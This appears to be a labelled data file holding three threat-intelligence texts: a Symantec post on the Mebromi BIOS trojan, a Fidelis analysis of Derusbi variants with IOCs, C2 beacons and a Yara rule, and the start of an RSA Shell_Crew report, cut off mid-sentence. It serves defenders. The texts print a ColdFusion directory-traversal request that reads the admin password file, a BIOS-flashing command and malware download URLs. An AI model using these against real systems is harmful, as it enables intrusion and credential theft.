2019","1","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Symantec Connect Blogs Security Response Security Response +2 2 Votes Symantec Official Blog BIOS Threat is Showing up Again! By: Livian Ge Created 09 Sep 2011 0 Comments : \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e There are more and more known viruses that infect the MBR (Master Boot Record). Symantec Security Response has published a blog to demonstrate this trend last month. However, we seldom confront with one that infects the BIOS. One of them is the notorious CIH appeared in 1999, which infected the computer BIOS and thus harmed a huge number of computers at that time. Recently, we met a new threat named Trojan.Mebromi that can add malicious components into Award BIOS which allows the threat to take control of the system even before MBR. The threat will drop a driver to %system%\\drivers\\bios.sys, then stop the beep service and replace %system%\\beep.sys with the dropped one. After that it restarts beep service to load the dropped driver. bios.sys is used to interact with BIOS such as get BIOS info, flash and backup BIOS. By using bios.sys, the threat will check whether the compromised computer is using Award BIOS. If so, it will save existing BIOS to c:\\bios.bin and check whether it is already infected: The existence of string \xe2\x80\x9chook.rom\xe2\x80\x9d in the file c:\\bios.bin suggests the BIOS has already been infected. Otherwise, the threat will drop tool chrom.exe and a malicious ISA component named hook.com to do infection by using the following command: chrom bios.bin /isa hook.com This will add hook.com to bios.bin as an ISA module, and then the threat will flash bios.bin to the BIOS. The infected BIOS will call module hook.rom automatically when the computer powers on. hook.com will check whether the MBR is infected and will infect it when needed (we detect the infected MBR as \xe2\x80\x9cBoot.Mebromi\xe2\x80\x9d). After that, hook.com will write malicious component to sectors close to MBR and save the original MBR to sector 8. The component will be loaded by the infected MBR to infect winlogon.exe or winnt.exe. If the BIOS is not Award BIOS or the threat fails to get BIOS information. The threat will only infect the MBR. If winlogon.exe or winnt.exe is successfully infected at the start up time, it will print out string \xe2\x80\x9cFind it OK!\xe2\x80\x9d. The infected winlogon.exe (xp/2003) or winnt.exe(win2000) will download file from hxxp://dh.3515.info:806/test/91/calc.exe to c:\\calc.exe (when we got the sample, the link has been invalid) and execute. The infected file will also load c:\\my.sys dropped by the threat to prevent the infected MBR from being modified. my.sys will hook the disk.sys to prevent the infected MBR from being restored by security software. Flow chart: Symantec has released the definition against Trojan.Mebromi and Boot.Mebromi. Users are advised to update their security software as soon as possible to protect the computers. Special thanks to Li Yi and Yuan Liang for the analysis. Tags: Products, Security Response Subscriptions (0) Livian Ge View Profile Login or Register to post comments. About Your Community A Message From Your Community Manager: RGMDonaldson Welcome to the Security Community on Symantec Connect. The Security Community covers many different security products from Symantec and provides valuable technical information for each. Please feel free to contact me via private message with any questions you may have. I look forward to hearing from you and answering any questions about the Community. Send a private message to the Community Manager Top 5 Contributors: All Time MEMBERREWARD POINTS \xe2\x84\xacr\xce\xaf\xce\xb1\xce\xb7148952 Vikram Kumar-SAV to SEP77376 Mithun Sanghavi77368 Rafeeq69214 P_K_53536 Top 5 Contributors: Last 30 Days MEMBERREWARD POINTS dprager1800 Aboonaim Golandaz1150 Aravind Ghosh375 Mithun Sanghavi350 AlexHedley315 Contact UsPrivacy PolicyEarn RewardsRewards Terms and Conditions \xc2\xa9 2019 Symantec Corporation","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Turbo Twist: Two 64-bit Derusbi Strains Converge | Fidelis Cybersecurity Skip to primary content Fidelis Cybersecurity Toggle navigation Fidelis Cybersecurity Products & Services Products Fidelis Elevate\xe2\x84\xa2 Detect, hunt and respond to threats. Learn more Fidelis Network\xc2\xae Gain unmatched visibility to detect threats and prevent data loss. Learn more Fidelis Endpoint\xc2\xae Prevent, detect, investigate and respond \xe2\x80\x93 via one agent. Learn more Fidelis Deception\xc2\xae Classify network assets and detect post-breach attacks. Learn more Services Managed Detection and ResponseIncident ResponseThreat ResearchProfessional Services Solutions Solutions Detect, hunt and respond to threats and data theft that traditional security solutions miss. Asset InventoryCloud SecurityData Loss PreventionEndpoint Detection and ResponseEndpoint ProtectionManaged Detection and Response vs MSSPOffice 365 SecurityThreat DetectionThreat Hunting Resources Resources Review educational content designed to help you detect, hunt and respond. Resource Type Case StudyData SheetResearch ReportToolsVideoWebinarWhite PaperEducation Center Topics Cloud SecurityData ProtectionDeceptionEndpoint SecurityIncident ResponseNetwork SecurityThreat Detection and ResponseThreat HuntingThreat Intelligence Company Company Trusted by Global 1000s and Governments as their last line of defense. AboutLeadershipPressCareersEventsFederal Contracts/CertificationsContact Us Free Trial Schedule a demo Blog Partners Support Contact Search Search Submit Turbo Twist: Two 64-bit Derusbi Strains Converge Author Threat Research Team May 2, 2016 Share: Share this page on Twitter Share this page on Facebook Share this page on LinkedIn To follow up on the March report on the discovery of a 64-bit Linux variant of Derusbi used in the Turbo campaign, this post covers our analysis of two unique Windows variants of the Derusbi PGV_PVID malware. Derusbi has been widely covered and associated with numerous Chinese cyber espionage actors, including the group known as C0d0s0 Team (aka Sunshop Group) and its watering-hole attacks using Forbes[.]com in 2014. Share: Share this page on Twitter Share this page on Facebook Share this page on LinkedIn What made these two variants of interest is that, as of April\xc2 28, 2016, there are zero (0) antivirus detections of these variants at VirusTotal. On April 29, our team also scanned these variants with two different local antivirus tools running the latest virus signatures and the APT malware was still undetected. Based on compile times in the variants analyzed, it appears that this variant has been around since at least 2013. Some of the strings in these variants have also been observed in variants of the Bergard APT malware. The Derusbi variants were identified and named by Proofpoint earlier this year. Our Yara hunting rule that detected these two Derusbi PGV_PVID variants with zero antivirus detections also detected two other variants that are detected by AVs as \xe2\x80\x9cDerusbi\xe2\x80\x9d. One of the Derusbi PGV_PVID samples that we analyzed shares its command-and-control server with a Rekaf sample identified by Proofpoint, furthering the connection between these families that they established in their post. Interestingly, at least one of the domains used here is currently registered with the China-based domain broker we identified in the Turbo campaign report. After doing some pivots involving the IP addresses observed in our analysis, we have a trove of very interesting domains, all listed at the bottom of this report. These domains include ones that might purport to represent prominent U.S. defense contractors, media outlets, etc. It has to be noted that we have not identified malware or a campaign that uses these domains, but in our observation, the purpose of registering these domains would be to launch a targeted campaign against the named organization or others that trust them, such as partners and customers. These techniques were widely observed in 2015, in events involving U.S. OPM, Anthem Healthcare, etc. These domain pivots have also shown us further connections between these PGV_PVID, Rekaf and Bergard variants of Derusbi. The specific indicators are provided later in this post, but the relationship is illustrated with these tables. The dates on these records is worth noting, since it could potentially indicate campaign periods. Passive DNS relationship Domain google-dash[.]com office365e[.]com Record Type A A Time first seen 04-09-2016 last seen 04-19-2016 first seen 04-25-2016 last seen 04-29-2016 * Source DomainTools/Farsight DNSDB Passive DNS relationship from 121.54.168[.]216 Domain google-dash[.]com ukoffering[.]com microsoft-cache[.]com Record\xc2 Type A A A Time first seen 01-14-2016 last seen 04-02-2016 first seen 01-29-2016 last seen 02-02-2016 first seen 01-03-2016 last seen 01-23-2016 * Source DomainTools/Farsight DNSDB In this vein, there\xe2\x80\x99s a clear preponderance of popular online services and technologies \xe2\x80\x93 variants of Google, Office 365, Virtualbox and VMtools feature in this domain set. It has to be noted that these are technologies that are very popular across a broad set of enterprises and offer a very broad set of opportunities. Malware Analysis All four variants perform an HTTP request that is almost identical, with the exception of the Command & Control server and a small variant in one of the \xe2\x80\x9cReferrer\xe2\x80\x9d values. Even a 16-digit value in the URL and Cookie was the same. This beacon format and 16-digit value was also observed in the PGV_PVID variants analyzed earlier this year by Proofpoint. Three of the samples contained the following string of interest: \xe2\x80\x9cpayload_service_x64.dll\xe2\x80\x9d. These PGV_PVID variants were observed encoding some of its configuration, APIs and other strings with a single-byte XOR key. Some of the keys used are: 0x90, 0xEB and 0x57. It was also interesting to see how these samples were trying to disguise themselves during entrenchment as valid services in the system to try to confuse incident responders, computer forensics investigators and network administrators. The following screenshots show the Microsoft service management console with the legit and malicious service (malicious service highlighted): The following is a list of the malware samples analyzed: MD5 CnC AV detections Compiled Date Imphash 3e4fbb9190227848af32dacb17e9fd17 google-dash[dot]com 0 12/4/14 86fafe21566d0906fecc5dfd939f3e45 b93197e2aa147fe6b70695ae7bb298b0 office365e[dot]com 0 12/4/14 86fafe21566d0906fecc5dfd939f3e45\xc2 4979e819d3ffbea81c7111fb515c1c7 web01.kruul[dot]com 22 4/11/13 711a1d4aef8414cf1db45a6945ba3d84 791295ef196cf8c20913b3cce76af29a google-dash[dot]com 16 12/4/14 6752d45fd952c97c969939600acc5748 Two samples of the network traffic format associated with this threat: b93197e2aa147fe6b70695ae7bb298b0 GET /pki/nss/init?0220372661170240 HTTP/1.1 Referer: http://www.microsoft.com/ Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) Host: office365e[dot]com:80 Cache-Control: no-cache Connection: Keep-Alive Cookie: pgv_pvid=0220372661170240 3e4fbb9190227848af32dacb17e9fd17 GET /pki/nss/init?0220372661170240 HTTP/1.1 Referer: http://www.google.com/ Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) Host: www.google-dash[dot]com:80 Cache-Control: no-cache Connection: Keep-Alive Cookie: pgv_pvid=0220372661170240 Antivirus detection for two of the samples: 1. 3e4fbb9190227848af32dacb17e9fd17 2. b93197e2aa147fe6b70695ae7bb298b0 Indicators of Compromise Registry Entrenchment HKLMSystemCurrentControlSetserviceshkmserviceParametersServiceDll=[CWD]64.dll HKLMSystemCurrentControlSetservices swprvsvcParametersServiceDll=[CWD]swprv64.dll HKLMSOFTWAREMicrosoftActive SetupInstalled Components{BD5A117E-658C-4b8c-AED3-3D177B36F0A8}stubpath=C:Windowssystem32regsvr32.exe /s [CWD]MSChartCtrl.ocx Service Information Display Name 1: Health Key and Certificate Management Service Service Name 1: hkmservice Display Name 2: Microsoft office products Shadow Copy Provider Service Name 2: swprvsvc Mutex 2-7-26-96EFFFFD-6666-706b-6506-3B6BC6486663-0-7-2 1-5-19-85EDC10D-6745-404b-A50D-4BCBC6480873-1-5-19 Command & Control Servers google-dash[dot]com office365e[dot]com kruul[dot]com nsa.org[dot]cn URLs /projects/security/pki/nss/index.htm?[16 digits] /developers/menu.php?[16 digits] /pki/nss/init?[16 digits] /solutions/company-size/smb/index.htm?[16 digits] /selfservice/microsites/search.php?[16 digits] /store/category_groups?[16 digits] \xc2 Yara detection rule The following Yara rule was created to detect these samples: rule apt_win32_dll_bergard_pgv_pvid_variant { meta: copyright = \xe2\x80\x9cFidelis Cybersecurity\xe2\x80\x9d strings: $ = \xe2\x80\x9cAccept:\xe2\x80\x9d $ = \xe2\x80\x9cUser-Agent: %s\xe2\x80\x9d $ = \xe2\x80\x9cHost: %s:%d\xe2\x80\x9d $ = \xe2\x80\x9cCache-Control: no-cache\xe2\x80\x9d $ = \xe2\x80\x9cConnection: Keep-Alive\xe2\x80\x9d $ = \xe2\x80\x9cCookie: pgv_pvid=\xe2\x80\x9d $ = \xe2\x80\x9cContent-Type: application/x-octet-stream\xe2\x80\x9d $ = \xe2\x80\x9cUser-Agent: %s\xe2\x80\x9d $ = \xe2\x80\x9cHost: %s:%d\xe2\x80\x9d $ = \xe2\x80\x9cPragma: no-cache\xe2\x80\x9d $ = \xe2\x80\x9cConnection: Keep-Alive\xe2\x80\x9d $ = \xe2\x80\x9cHTTP/1.0\xe2\x80\x9d condition: (uint16(0) == 0x5A4D) and (all of them) } Domains identified from pDNS pivots asixgroupincmeer[.]biz attrcorp[.]com smtp.attrcorp[.]com office365e[.]com office365e[.]com usapappers[.]com e.usapappers[.]com bee.usapappers[.]com ftp.usapappers[.]com sun.usapappers[.]com wow.usapappers[.]com shot.usapappers[.]com email.usapappers[.]com dijlacultus[.]com bbs.dijlacultus[.]com fok.dijlacultus[.]com back.dijlacultus[.]com info.dijlacultus[.]com live.dijlacultus[.]com mail.dijlacultus[.]com news.dijlacultus[.]com serv.dijlacultus[.]com tele.dijlacultus[.]com thec.dijlacultus[.]com zero.dijlacultus[.]com swiss.dijlacultus[.]com living.dijlacultus[.]com mailsrv.dijlacultus[.]com google-dash[.]com virtualboxs[.]com steletracker[.]com vmtools[.]net pwc.vmtools[.]net win.winlogon[.]net asia.winlogon[.]net winner.winlogon[.]net hawkthorn[.]net strightspunddeals[.]net northropgruman[.]org owa.northropgruman[.]org vpn.northropgruman[.]org soft.northropgruman[.]org update.northropgruman[.]org software.northropgruman[.]org cegauoqsykgqecqc[.]org eimqqakugeccgwak[.]org uogwoigiuweyccsw[.]org soyy[.]info haha[.]school ns1.krimeware[.]com ns2.krimeware[.]com tianzhen[.]co www[.]tianzhen[.]co monsterlegendsvn[.]biz www[.]monsterlegendsvn[.]biz nickytoh[.]com www[.]nickytoh[.]com seratjati[.]com aiselamodefactory[.]com tasty-and-healthy[.]com nickytoh[.]net www[.]nickytoh[.]net animationmyth[.]net www[.]animationmyth[.]net petersenstore[.]org www[.]petersenstore[.]org forum.haha[.]school musicis[.]science References Exploring Bergard: Old Malware with New Tricks, 28-Jan-16: http://www.proofpoint.com/tw/exploring-bergard-old-malware-new-tricks New Attacks Linked to C0d0so0 Group, 22-Jan-16: http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/#sthash.ruaI9WyJ.dpuf Telus Trojan.Win32.Bergard.A: http://telussecuritylabs.com/threats/show/TSL20150218-02 Chinese Espionage Campaign Compromises Forbes.com to Target US Defense, Financial Services Companies in Watering Hole Style Attack, 10-Feb-15: https://www.invincea.com/2015/02/chinese-espionage-campaign-compromises-forbes/ Cyber Espionage Campaign Compromises Web Properties to Target US Financial Services and Defense Companies, Chinese Dissidents \xe2\x80\x93 CVE-2015-0071 and CVE-2014-9163, 10-Feb-15: http://www.isightpartners.com/2015/02/codoso/ -The Fidelis Threat Research Team Tags: Archive Browse our blog Author Threat Research Team Share: Share this page on Twitter Share this page on Facebook Share this page on LinkedIn Automate threat detection, hunting and response across your network, cloud, endpoints and enterprise IoT. Company Why Fidelis? Customers Leadership and Advisors News and Releases Join Our Team Partner Login Become a Partner Products & Services Elevate Network Endpoint Deception Managed Detection and Response Incident Response Threat Research Resources Blog Events Research Reports Webinars Education Center View All Resources Support Experienced a Breach? Customer Support Login Fidelis Cybersecurity University Product and Support Information Contact Us Recent Awards Sitemap Privacy Policy Visit us on Twitter Visit us on LinkedIn Visit us on Facebook Visit us on YouTube Copyright \xc2\xa9 2019 Fidelis Cybersecurity. All rights reserved. YOUR CHOICE REGARDING COOKIES ON THIS SITE We use cookies to optimize site functionality and give you the best possible experience. Learn more Privacy policy I CONSENT","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"RSA Incident Response Emerging Threat Profile: Shell Crew RSA Incident Response incident response RSA Incident Response: Emerging Threat Profile Shell_Crew January 2014 RSA Emerging Threat Profile: Shell_Crew Table of Contents Table of Contents ....................................................................................................................................................2 Report Overview ............................................................................................................................... 5 Intrusion Vector ................................................................................................................................. 6 Intrusion Overview ...........................................................................................................................................6 Intrusion Details ...............................................................................................................................................7 Entrenchment Techniques ............................................................................................................... 9 Installation of Web shells ....................................................................................................................................... 9 Registering DLLs with Internet Information Services (IIS) .................................................................................... 10 Modifying the \xe2\x80\x98System.Web.dll\xe2\x80\x99 file ..................................................................................................................... 11 Trojan.Derusbi ...................................................................................................................................................... 13 \xe2\x80\x98Sethc\xe2\x80\x99 RDP backdoor ............................................................................................................................................ 13 Malicious Files and Secondary Tools ............................................................................................ 15 Malicious Files and Secondary Tools Hash List .................................................................................................. 15 Malicious Files \xe2\x80\x93 Technical Analysis ................................................................................................................. 17 Trojan.Derusbi ...................................................................................................................................................... 17 Trojan.Derusbi Server Variant .............................................................................................................................. 24 Secondary Tools \xe2\x80\x93 Technical Analysis ............................................................................................................... 28 Notepad.exe ......................................................................................................................................................... 28 Credential Logger .................................................................................................................................................. 31 Detection, Mitigation, and Remediation .................................................................................... 33 General Forensic Footprints ................................................................................................................................. 33 Security Analytics Integration ............................................................................................................................... 33 ECAT Integration ................................................................................................................................................... 34 Yara Signatures ..................................................................................................................................................... 35 Hash Set, IPs, Domains ......................................................................................................................................... 35 Conclusion ........................................................................................................................................ 36 Appendix 1 \xe2\x80\x93 Trojan.Derusbi Variants ......................................................................................... 37 Appendix 2 \xe2\x80\x93 Trojan.Notepad Illustration .................................................................................. 41 Digital Appendix - Details .............................................................................................................. 42 RSA Incident Response Page 3 RSA Emerging Threat Profile: Shell_Crew Table of Figures Figure 1: Anatomy of Web Application Penetration ........................................................................................................................... 6 Figure 2: Web server log entry ........................................................................................................................................................... 7 Figure 3: Example content of a password.properties file ................................................................................................................... 7 Figure 4: ColdFusion task that downloads Web shell ......................................................................................................................... 7 Figure 5: Log entry showing the use of ""x.cfm"" by IP 125.141.233.19 ............................................................................................... 8 Figure 6: Command executed via Web shell ...................................................................................................................................... 8 Figure 7: Example of a simple Shell_Crew Web shell ......................................................................................................................... 9 Figure 8: ColdFusion Web shell interface example ........................................................................................................................... 10 Figure 9: Command used to register a DLL with IIS .......................................................................................................................... 10 Figure 10: POST request on IIS registered DLL .................................................................................................................................. 11 Figure 11: POST request to a non-existent Web page ...................................................................................................................... 11 Figure 12: Modified content of PagehandlerFactory.cs ................................................................................................................... 11 Figure 13: Content of default_aspx.cs .............................................................................................................................................. 12 Figure 14: POST request on nonexistent webpage ........................................................................................................................... 12 Figure 15: Decoded base64 text from the POST request ................................................................................................................. 12 Figure 16: The script was further decoded to reveal the contents .................................................................................................. 13 Figure 17: Reply from infected Web server ...................................................................................................................................... 13 Figure 18: Registry modification to invoke sethc.exe debugging ..................................................................................................... 14 Figure 19: RDP backdoor example .................................................................................................................................................... 14 Figure 20: Details of the file 'msressvkx.ttf' - a Trojan.Derusbi variant ............................................................................................ 17 Figure 21: Trojan.Derusbi Configuration Data Decoding Function ................................................................................................... 18 Figure 22: Decoded Trojan.Derusbi configuration data ................................................................................................................... 19 Figure 23: Trojan.Derusbi Configuration Data Encoding Function ................................................................................................... 20 Figure 24: XOR key that is used to decode the driver file ................................................................................................................. 21 Figure 25: Trojan.Derusbi Driver Decoding Function........................................................................................................................ 22 Figure 26: POST request initiated by Trojan.Derusbi ........................................................................................................................ 22 Figure 27: Binary data transmitted by Trojan.Derusbi ..................................................................................................................... 23 Figure 28: The Binary data contains a set of three DWORDs ........................................................................................................... 23 Figure 29: GET request transmitted by the Trojan ........................................................................................................................... 23 Figure 30: Characteristics of the file 2.dll - a Trojan.Derusbi variant ............................................................................................... 24 Figure 31: Derusbi server variant - check OS version logic ............................................................................................................... 25 Figure 32: Registry key identifying the service name and Trojan file ............................................................................................... 25 Figure 33: Driver logic that looks for handshake .............................................................................................................................. 26 Figure 34: Trojan.Derusbi server variant handshake structure ........................................................................................................ 26 RSA Incident Response Page 4 RSA Emerging Threat Profile: Shell_Crew Figure 35: Trojan.Derusbi server variant handshake sample data ................................................................................................... 26 Figure 36: Trojan.Derusbi server variant - authentication ............................................................................................................... 27 Figure 37: Trojan.Derusbi server variant \xe2\x80\x93 protocol components .................................................................................................... 27 Figure 38: Common usage of notepad.exe ....................................................................................................................................... 28 Figure 39: File details of notepad.exe ............................................................................................................................................... 28 Figure 40: Resource of notepad.exe ................................................................................................................................................. 29 Figure 41: Notepad.exe - built in C2 data structure ......................................................................................................................... 29 Figure 42: C2 obfuscation in notepad.exe ........................................................................................................................................ 29 Figure 43: Details of the file xmlobj.dll ............................................................................................................................................. 31 Figure 44: Sample of harvested credentials ..................................................................................................................................... 32 Figure 45: ECAT detects a suspicious outbound connection ............................................................................................................ 34 Figure 46: Alert sent by ECAT ........................................................................................................................................................... 34 Figure 47: MFT File Viewer in ECAT .................................................................................................................................................. 35 Figure 48: Malware sample testing .................................................................................................................................................. 35 Figure 49: Trojan.Derusbi Variants Mutex Overlap .......................................................................................................................... 37 Figure 50: Trojan.Derusbi variants XOR key overlap ........................................................................................................................ 38 Figure 51: Trojan.Derusbi variants XOR key overlap ........................................................................................................................ 39 Figure 52: Trojan.Derusbi variants XOR key overlap ........................................................................................................................ 40 Figure 53: Relationships between Trojan.Notepad samples ............................................................................................................ 41 RSA Incident Response Page 5 RSA Emerging Threat Profile: Shell_Crew Report Overview The purpose of this report is to share actionable threat intelligence associated with an advanced adversary the RSA IR Team is tracking. Threat intelligence related to advanced adversaries enables security practitioners to mitigate threat impact before the adversary becomes entrenched in an organization\xe2\x80\x99s infrastructure. If a breach has already occurred, threat intelligence bolsters incident investigation activities and expedites remediation; ultimately reducing exposure times and minimizing potential data loss. During recent engagements, the RSA IR Team has responded to multiple incidents involving a common adversary targeting each client\xe2\x80\x99s infrastructure and assets. The RSA IR Team is referring to this threat group internally as \xe2\x80\x9cShell_Crew\xe2\x80\x9d; however, they are also referred to as Deep Panda, WebMasters, KungFu Kittens, SportsFans, and PinkPanther amongst the security community. Shell_Crew is generally known to utilize the following tactics, techniques, and procedures (TTPs); \xef\x82\xb7 Prevalent use of Web shells to maintain low level persistence in spite of determined remediation efforts; \xef\x82\xb7 Occasional use of Web application framework exploits to achieve initial entry as opposed to traditional spearfishing attempts; \xef\x82\xb7 Lateral movement using compromised credentials with RDP, psexec, or network connections in conjunction with scheduling jobs with the \xe2\x80\x9cat\xe2\x80\x9d command. \xef\x82\xb7 Abuse of Code Signing infrastructure to validly sign custom backdoor malware; \xef\x82\xb7 Exploiting systems using different SETHC.exe methods accessible via Remote Desktop Protocol (RDP); \xef\x82\xb7 Long history of IP/DNS telemetry allowing for historical research and link analysis; \xef\x82\xb7 Placement of malicious proxy tools introduced into the environment on Windows server based proxies to bypass proxy logging; \xef\x82\xb7 Extensive use of time/date stomping of malicious files to hinder forensic analysis; and \xef\x82\xb7 Malware leveraging compromised credentials to bypass authentication NTLM proxies (proxy aware). This emerging threat profile covers a sampling of observed indicators that have been derived by analyzing a variety of tools and malicious code collected during recent engagements involving Shell_Crew. Included are details about an observed intrusion vector, entrenchment techniques, unique malicious files, and tools that are used by this adversary. Additionally, the RSA IR Team has provided content in the form of a digital appendix that can be integrated into Security Analytics, the Enterprise Compromise Assessment Tool (ECAT), or other security tools for rapid detection and visibility of indicators associated with Shell_Crew. RSA Incident Response Page 6 RSA Emerging Threat Profile: Shell_Crew Intrusion Vector Intrusion Overview Shell_Crew has an affinity for exploiting web application vulnerabilities to gain access to the victim\xe2\x80\x99s network and information systems. In this section, we\xe2\x80\x99ve provided details pertaining to an instance where Shell_Crew breached a victim network through the exploitation of an Adobe ColdFusion directory traversal vulnerability (CVE-2010-2861). This exploit allowed Shell_Crew to read the \xe2\x80\x98password.properties\xe2\x80\x99 file containing the password hash of the ColdFusion \xe2\x80\x98administrator\xe2\x80\x99 account. After obtaining this password hash, Shell_Crew was able to recover the password associated with the administrative account, likely by using pre-computed rainbow tables. Using the acquired administrator account credentials, Shell_Crew created a ColdFusion scheduled task to download a malicious Web shell to the ColdFusion server. They then utilized this Web shell to upload additional Web shells, hash dumping tools, and other Trojans onto the system, as well as created a backdoor into the system for reentry. Using the tools uploaded to the server, Shell_Crew dumped password hashes from the compromised system, performed network reconnaissance, and moved laterally to systems in the internal network using the compromised credentials with the pass-the-hash technique. Figure 1 below illustrates the high level anatomy of this particular Shell_Crew attack. Figure 1: Anatomy of Shell_Crew Web Application Penetration RSA Incident Response Page 7 RSA Emerging Threat Profile: Shell_Crew Intrusion Details On 18 th June, 2013 an attacker using IP address 184.71.210.4 connected to the ColdFusion Web server and exploited the Adobe ColdFusion directory traversal vulnerability, CVE-2010-2861, to recover the contents of the password.properties file. Figure 2 below depicts a log entry from the Web server that illustrates the initial point of exploitation. The data highlighted in blue shows the directory traversal used to access the password.properties file. In addition, the data highlighted with red (zh-cn) in the User-Agent indicates the language tag on the attacker\xe2\x80\x99s system. Figure 2: Web server log entry The password.properties file contained the hash value of the ColdFusion administrator account, which can be seen in Figure 3 below: Figure 3: Example content of a password.properties file Through review of log files found on the Web server, the RSA IR team identified that within 10 minutes of retrieving the password.properties file, Shell_Crew logged in to the ColdFusion management page using the recovered administrator account credentials. This indicates that Shell_Crew quickly enumerated the password from the hash value found in the password.properties file. Once logged in with the administrator account, Shell_Crew scheduled a job called \xe2\x80\x9ctest\xe2\x80\x9d to download a file containing a ColdFusion Web shell from \xe2\x80\x9chttp://mpe.ie/1234.zip\xe2\x80\x9d and save it to the Web server\xe2\x80\x99s local directory D:\\mywebsite\\x.cfm. 1 The log entry from the Web server that shows scheduling of this job is visible in Figure 4. Figure 4: ColdFusion task that downloads Web shell The file downloaded from the remote system to the ColdFusion server, 1234.zip, is a ColdFusion Web shell called \xe2\x80\x9ccfm backdoor by ufo\xe2\x80\x9d. Once the Web shell was downloaded to the Web server by the ColdFusion job, the adversary was able to utilize the functionality of the Web shell to execute commands on the local system, illustrated in Figure 5 and Figure 6. 1 The name of the website has been changed to protect the privacy of the victim. 2013-06-18 05:17:30 W3SVC1 10.193.23.45 GET /CFIDE/administrator/enter.cfm locale=..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\ password.properties%00en 80 \xe2\x80\x93 184.71.210.4 Opera/9.80+(Windows+NT+6.1;+U;+Edition+IBIS;+zh-cn)+Presto/ 2.10.229+Version/11.61 RSA Incident Response Page 8 RSA Emerging Threat Profile: Shell_Crew Figure 5: Log entry showing the use of ""x.cfm"" by IP 125.141.233.19 Figure 6: Command executed via Web shell Once Shell_Crew has a foothold into the victim\xe2\x80\x99s network, they move to other systems within the environment to ensure multiple points for re-entry. Some of the techniques used by Shell_Crew to further insert themselves into a victim\xe2\x80\x99s environment are outlined in the next section of this report; Entrenchment Techniques 2013-06-18 05:29:13 W3SVC1 10.193.23.45 POST /x.cfm - 80 - 125.141.233.19 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1) RSA Incident Response Page 9 RSA Emerging Threat Profile: Shell_Crew Entrenchment Techniques Shell_Crew uses a variety of techniques to entrench themselves in a victim\xe2\x80\x99s network. For purposes of this report, the term entrenchment is used to describe a technique used by the adversary that allows them to maintain unauthorized access into an enterprise despite attempted remediation efforts by the victim. In addition to traditional Trojans that beacon out to a destination IP address, this adversary has also been observed utilizing the following entrenchment techniques; \xef\x82\xb7 Installation of Web shells; \xef\x82\xb7 Registering DLLs with Internet Information Services (IIS); \xef\x82\xb7 Modifying the \xe2\x80\x98System.Web.dll\xe2\x80\x99 file; \xef\x82\xb7 Trojan.Derusbi; and \xef\x82\xb7 Utilizing the RDP backdoor \xe2\x80\x98sethc.exe\xe2\x80\x99. This section of the report discusses each of these entrenchment techniques in further detail. 1. Installation of Web shells Web shells are files containing malicious code written in various Web scripting languages, such as JSP, CFM, ASP, ASPX, or PHP, that when hosted on a publicly accessible Web site allow an adversary such as Shell_Crew to gain remote access and perform various unauthorized activities on a compromised system and network. A Web shell can be a stand-alone file that only contains Web shell code, or can be an insertion of malicious code directly into an existing legitimate Web site page, thus allowing the adversary to blend with normal traffic and files on the Web server. Using Web shells has several advantages over traditional Trojans including: \xef\x82\xb7 Low detection rates from Anti-Virus programs due to the variety and customization of code; \xef\x82\xb7 The inability to block or monitor an IP since connectivity can be initiated from any source address; and \xef\x82\xb7 There is no beaconing activity from a Web shell. The complexity of the Web shells used by Shell_Crew varies dramatically. Figure 7 shows the contents of a simple Web shell identified during a recent engagement where Shell_Crew had uploaded the Web shell as a standalone file. This one line of code allowed Shell_Crew to execute shell commands remotely on the Web server. The red text depicted within the example has been changed as the password value used by Shell_Crew made 